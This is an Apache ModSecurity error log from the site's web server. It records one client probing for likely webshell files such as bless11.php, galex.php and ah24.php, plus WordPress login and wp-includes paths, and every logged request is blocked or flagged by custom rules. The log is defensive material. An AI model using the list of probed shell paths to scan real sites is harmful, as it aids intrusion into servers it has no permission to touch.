[Sun Dec 28 21:22:16.036011 2025] [:error] [pid 43789:tid 43802] [client 74.225.139.234:19491] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/la.php"] [unique_id "aVEvCAa-tUppni4CcCZJsgAAAQs"]
[Sun Dec 28 21:22:16.390525 2025] [:error] [pid 42378:tid 42399] [client 74.225.139.234:13065] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/la.php"] [unique_id "aVEvCDgtcN-KHAjWrX8vawAAANM"]
[Sun Dec 28 21:22:16.789128 2025] [:error] [pid 42294:tid 42351] [client 74.225.139.234:19481] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/la.php"] [unique_id "aVEvCNTE5kYcYCOzl9HSDgAAAIE"]
[Sun Dec 28 21:22:17.328360 2025] [:error] [pid 29388:tid 29417] [client 74.225.139.234:13159] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/la.php"] [unique_id "aVEvCdoLv2L2zI_SpdX3qQAAAVU"]
[Sun Dec 28 21:22:17.674076 2025] [:error] [pid 42294:tid 42368] [client 74.225.139.234:19564] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless11.php"] [unique_id "aVEvCdTE5kYcYCOzl9HSEgAAAJI"]
[Sun Dec 28 21:22:18.523431 2025] [:error] [pid 42294:tid 42366] [client 74.225.139.234:13141] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless11.php"] [unique_id "aVEvCtTE5kYcYCOzl9HSFAAAAJA"]
[Sun Dec 28 21:22:19.171537 2025] [:error] [pid 42294:tid 42365] [client 74.225.139.234:13266] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless11.php"] [unique_id "aVEvC9TE5kYcYCOzl9HSFQAAAI8"]
[Sun Dec 28 21:22:22.783728 2025] [:error] [pid 42294:tid 42372] [client 74.225.139.234:19567] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless11.php"] [unique_id "aVEvDtTE5kYcYCOzl9HSGQAAAJY"]
[Sun Dec 28 21:22:23.217865 2025] [:error] [pid 29436:tid 29447] [client 74.225.139.234:19555] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aVEvD7chzOOtNL9VPNITEwAAAYg"]
[Sun Dec 28 21:22:24.385579 2025] [:error] [pid 43789:tid 43811] [client 74.225.139.234:13155] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aVEvEAa-tUppni4CcCZJtQAAARQ"]
[Sun Dec 28 21:22:24.953292 2025] [:error] [pid 29436:tid 29458] [client 74.225.139.234:13307] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aVEvELchzOOtNL9VPNITFwAAAZM"]
[Sun Dec 28 21:22:25.500817 2025] [:error] [pid 42294:tid 42351] [client 74.225.139.234:13257] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aVEvEdTE5kYcYCOzl9HSGwAAAIE"]
[Sun Dec 28 21:22:26.431280 2025] [:error] [pid 29388:tid 29415] [client 74.225.139.234:19538] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file9.php"] [unique_id "aVEvEtoLv2L2zI_SpdX3rgAAAVM"]
[Sun Dec 28 21:22:27.564858 2025] [:error] [pid 29388:tid 29414] [client 74.225.139.234:13162] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file9.php"] [unique_id "aVEvE9oLv2L2zI_SpdX3tAAAAVI"]
[Sun Dec 28 21:22:28.275445 2025] [:error] [pid 42378:tid 42380] [client 74.225.139.234:13184] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file9.php"] [unique_id "aVEvFDgtcN-KHAjWrX8vngAAAMA"]
[Sun Dec 28 21:22:29.922828 2025] [:error] [pid 29436:tid 29443] [client 74.225.139.234:13239] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file9.php"] [unique_id "aVEvFbchzOOtNL9VPNITIQAAAYQ"]
[Sun Dec 28 21:22:30.804867 2025] [:error] [pid 29436:tid 29457] [client 74.225.139.234:19536] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ac.php"] [unique_id "aVEvFrchzOOtNL9VPNITJQAAAZI"]
[Sun Dec 28 21:22:31.394586 2025] [:error] [pid 29436:tid 29441] [client 74.225.139.234:13202] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ac.php"] [unique_id "aVEvF7chzOOtNL9VPNITJwAAAYI"]
[Sun Dec 28 21:22:32.063275 2025] [:error] [pid 42378:tid 42400] [client 74.225.139.234:13132] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ac.php"] [unique_id "aVEvGDgtcN-KHAjWrX8vrgAAANQ"]
[Sun Dec 28 21:22:32.405193 2025] [:error] [pid 29437:tid 29485] [client 74.225.139.234:13133] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ac.php"] [unique_id "aVEvGBhDotAbVk6pZLfcfwAAAdM"]
[Sun Dec 28 21:22:32.755496 2025] [:error] [pid 42293:tid 42323] [client 74.225.139.234:13109] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/az.php"] [unique_id "aVEvGMvc9B-5cwN385IBJgAAAEA"]
[Sun Dec 28 21:22:33.265309 2025] [:error] [pid 29436:tid 29449] [client 74.225.139.234:13212] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/az.php"] [unique_id "aVEvGbchzOOtNL9VPNITKQAAAYo"]
[Sun Dec 28 21:22:33.738390 2025] [:error] [pid 29436:tid 29443] [client 74.225.139.234:13236] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/az.php"] [unique_id "aVEvGbchzOOtNL9VPNITLwAAAYQ"]
[Sun Dec 28 21:22:34.899067 2025] [:error] [pid 29436:tid 29444] [client 74.225.139.234:13077] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/az.php"] [unique_id "aVEvGrchzOOtNL9VPNITMQAAAYU"]
[Sun Dec 28 21:22:35.515957 2025] [:error] [pid 42378:tid 42386] [client 74.225.139.234:13219] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/galex.php"] [unique_id "aVEvGzgtcN-KHAjWrX8vuwAAAMY"]
[Sun Dec 28 21:22:36.133940 2025] [:error] [pid 43789:tid 43804] [client 74.225.139.234:19469] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/galex.php"] [unique_id "aVEvHAa-tUppni4CcCZJuAAAAQ0"]
[Sun Dec 28 21:22:36.569908 2025] [:error] [pid 43789:tid 43793] [client 74.225.139.234:13281] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/galex.php"] [unique_id "aVEvHAa-tUppni4CcCZJugAAAQI"]
[Sun Dec 28 21:22:37.627262 2025] [:error] [pid 43789:tid 43815] [client 74.225.139.234:13282] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/galex.php"] [unique_id "aVEvHQa-tUppni4CcCZJvAAAARg"]
[Sun Dec 28 21:22:38.624200 2025] [:error] [pid 29436:tid 29443] [client 74.225.139.234:19534] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xb.php"] [unique_id "aVEvHrchzOOtNL9VPNITOwAAAYQ"]
[Sun Dec 28 21:22:39.030686 2025] [:error] [pid 29436:tid 29463] [client 74.225.139.234:13060] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xb.php"] [unique_id "aVEvH7chzOOtNL9VPNITPQAAAZg"]
[Sun Dec 28 21:22:39.636430 2025] [:error] [pid 29436:tid 29453] [client 74.225.139.234:19490] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xb.php"] [unique_id "aVEvH7chzOOtNL9VPNITPgAAAY4"]
[Sun Dec 28 21:22:40.200490 2025] [:error] [pid 29436:tid 29458] [client 74.225.139.234:13278] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xb.php"] [unique_id "aVEvILchzOOtNL9VPNITPwAAAZM"]
[Sun Dec 28 21:22:40.765431 2025] [:error] [pid 42293:tid 42343] [client 74.225.139.234:13255] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "aVEvIMvc9B-5cwN385IBJwAAAFQ"]
[Sun Dec 28 21:22:41.667283 2025] [:error] [pid 43789:tid 43812] [client 74.225.139.234:19566] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "aVEvIQa-tUppni4CcCZJxAAAARU"]
[Sun Dec 28 21:22:42.263179 2025] [:error] [pid 42294:tid 42364] [client 74.225.139.234:13253] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "aVEvItTE5kYcYCOzl9HSKgAAAI4"]
[Sun Dec 28 21:22:42.663058 2025] [:error] [pid 42378:tid 42381] [client 74.225.139.234:13174] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "aVEvIjgtcN-KHAjWrX8v2AAAAME"]
[Sun Dec 28 21:23:00.804267 2025] [:error] [pid 29436:tid 29448] [client 74.225.139.234:13265] [client 74.225.139.234] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.225.139.234, incrementing brute counter"] [hostname "www.vetstars.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aVEvNLchzOOtNL9VPNITTQAAAYk"]
[Sun Dec 28 21:23:00.808298 2025] [proxy_fcgi:error] [pid 29436:tid 29448] [client 74.225.139.234:13265] AH01071: Got error 'Primary script unknown'
[Sun Dec 28 21:23:14.472319 2025] [:error] [pid 29436:tid 29460] [client 74.225.139.234:19532] [client 74.225.139.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/index.php"] [unique_id "aVEvQrchzOOtNL9VPNITYQAAAZU"]
[Sun Dec 28 21:23:46.633448 2025] [:error] [pid 42294:tid 42360] [client 74.225.139.234:19488] [client 74.225.139.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aVEvYtTE5kYcYCOzl9HSYAAAAIo"]
[Sun Dec 28 21:23:47.420714 2025] [:error] [pid 29388:tid 29404] [client 74.225.139.234:13311] [client 74.225.139.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/widgets/index.php"] [unique_id "aVEvY9oLv2L2zI_SpdX4YQAAAUg"]
[Sun Dec 28 21:23:48.074152 2025] [:error] [pid 29388:tid 29402] [client 74.225.139.234:19463] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wen.php"] [unique_id "aVEvZNoLv2L2zI_SpdX4YwAAAUY"]
[Sun Dec 28 21:23:48.993005 2025] [:error] [pid 43789:tid 43806] [client 74.225.139.234:19517] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wen.php"] [unique_id "aVEvZAa-tUppni4CcCZKDQAAAQ8"]
[Sun Dec 28 21:23:49.607400 2025] [:error] [pid 29437:tid 29478] [client 74.225.139.234:19476] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wen.php"] [unique_id "aVEvZRhDotAbVk6pZLfcuwAAAcw"]
[Sun Dec 28 21:23:50.920454 2025] [:error] [pid 29388:tid 29407] [client 74.225.139.234:13280] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wen.php"] [unique_id "aVEvZtoLv2L2zI_SpdX4egAAAUs"]
[Sun Dec 28 21:23:52.395739 2025] [:error] [pid 42292:tid 42317] [client 74.225.139.234:19464] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cwclass.php"] [unique_id "aVEvaJyOrM_vaFx1osZfEwAAABU"]
[Sun Dec 28 21:23:53.124219 2025] [:error] [pid 42293:tid 42327] [client 74.225.139.234:13217] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cwclass.php"] [unique_id "aVEvacvc9B-5cwN385IBXwAAAEQ"]
[Sun Dec 28 21:23:53.709188 2025] [:error] [pid 29436:tid 29451] [client 74.225.139.234:19568] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cwclass.php"] [unique_id "aVEvabchzOOtNL9VPNITpgAAAYw"]
[Sun Dec 28 21:23:54.355977 2025] [:error] [pid 29436:tid 29463] [client 74.225.139.234:19484] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cwclass.php"] [unique_id "aVEvarchzOOtNL9VPNITqQAAAZg"]
[Sun Dec 28 21:23:54.963358 2025] [:error] [pid 29388:tid 29409] [client 74.225.139.234:13251] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ah24.php"] [unique_id "aVEvatoLv2L2zI_SpdX4ggAAAU0"]
[Sun Dec 28 21:23:55.443776 2025] [:error] [pid 42292:tid 42300] [client 74.225.139.234:19512] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ah24.php"] [unique_id "aVEva5yOrM_vaFx1osZfFgAAAAQ"]
[Sun Dec 28 21:23:55.897465 2025] [:error] [pid 42293:tid 42330] [client 74.225.139.234:19581] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ah24.php"] [unique_id "aVEva8vc9B-5cwN385IBYQAAAEc"]
[Sun Dec 28 21:23:56.252150 2025] [:error] [pid 42292:tid 42316] [client 74.225.139.234:19487] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ah24.php"] [unique_id "aVEvbJyOrM_vaFx1osZfFwAAABQ"]
[Sun Dec 28 21:23:56.680180 2025] [:error] [pid 29437:tid 29483] [client 74.225.139.234:13299] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rtx.php"] [unique_id "aVEvbBhDotAbVk6pZLfcwQAAAdE"]
[Sun Dec 28 21:23:57.276759 2025] [:error] [pid 29388:tid 29398] [client 74.225.139.234:13137] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rtx.php"] [unique_id "aVEvbdoLv2L2zI_SpdX4hwAAAUI"]
[Sun Dec 28 21:23:57.737981 2025] [:error] [pid 42292:tid 42319] [client 74.225.139.234:19500] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rtx.php"] [unique_id "aVEvbZyOrM_vaFx1osZfGgAAABc"]
[Sun Dec 28 21:23:58.773531 2025] [:error] [pid 43789:tid 43803] [client 74.225.139.234:13250] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rtx.php"] [unique_id "aVEvbga-tUppni4CcCZKFAAAAQw"]
